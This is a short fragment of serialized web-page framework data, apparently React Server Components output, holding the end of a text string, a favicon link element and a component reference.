reports."}],["$","link","10",{"rel":"icon","href":"/favicon.svg"}],["$","$L30","11",{}]]